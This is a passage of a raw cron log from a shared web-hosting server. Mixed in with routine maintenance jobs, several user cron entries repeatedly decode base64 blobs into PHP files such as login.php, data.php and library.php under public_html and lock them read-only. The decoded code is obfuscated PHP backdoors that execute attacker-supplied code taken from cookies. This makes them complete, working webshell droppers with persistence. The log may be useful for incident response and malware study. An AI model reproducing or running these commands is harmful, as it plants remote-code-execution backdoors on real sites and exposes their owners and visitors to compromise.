"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:38:01 medusa CROND[18883]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:38:01 medusa CROND[18885]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:38:01 medusa CROND[18884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:39:01 medusa CROND[21702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:39:01 medusa CROND[21832]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:39:01 medusa CROND[21867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:39:01 medusa CROND[21869]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:39:01 medusa CROND[21870]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:39:01 medusa CROND[21871]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 19:39:01 medusa CROND[21876]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:39:01 medusa CROND[21878]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:39:01 medusa CROND[21879]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:39:01 medusa CROND[21883]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:39:01 medusa CROND[21884]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:39:01 medusa CROND[21890]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:39:01 medusa CROND[21891]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:39:01 medusa CROND[21892]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:40:02 medusa CROND[27299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:40:02 medusa CROND[27360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:40:02 medusa CROND[27493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:40:02 medusa CROND[27496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:40:02 medusa CROND[27498]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:40:02 medusa CROND[27495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:40:02 medusa CROND[27504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:40:02 medusa CROND[27505]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:40:02 medusa CROND[27511]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27512]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:40:02 medusa CROND[27508]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27515]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:40:02 medusa CROND[27521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27522]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:40:02 medusa CROND[27563]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:40:02 medusa CROND[27567]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:40:02 medusa CROND[27571]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
